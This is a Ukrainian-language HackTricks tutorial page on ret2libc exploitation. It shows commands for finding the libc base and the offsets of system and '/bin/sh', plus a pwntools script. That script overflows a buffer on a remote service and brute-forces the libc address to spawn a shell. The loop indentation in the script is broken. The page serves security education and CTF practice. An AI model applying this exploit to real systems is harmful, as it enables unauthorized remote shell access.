Ret2Lib

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви знайшли вразливий бінарний файл і вважаєте, що можете використати його за допомогою Ret2Lib, тут ви знайдете деякі основні кроки, які ви можете виконати.

Якщо ви всередині хоста

Ви можете знайти адресу libc

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Якщо ви хочете перевірити, чи змінює ASLR адресу libc, ви можете зробити:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Отримання зміщення функції system

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Отримання зсуву "/bin/sh"

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

Якщо процес створює дочірні процеси кожен раз, коли ви з ним розмовляєте (мережевий сервер), спробуйте прочитати цей файл (ймовірно, вам знадобиться права root).

Тут ви можете знайти точне місце завантаження libc всередині процесу та де буде завантажено для кожного дочірнього процесу.

У цьому випадку воно завантажене за адресою 0xb75dc000 (це буде базова адреса libc)

Використання gdb-peda

Отримайте адресу функції system, функції exit та рядка "/bin/sh" за допомогою gdb-peda:

p system
p exit
find "/bin/sh"

Обхід ASLR

Ви можете спробувати перебрати адресу бази libc.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Код

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated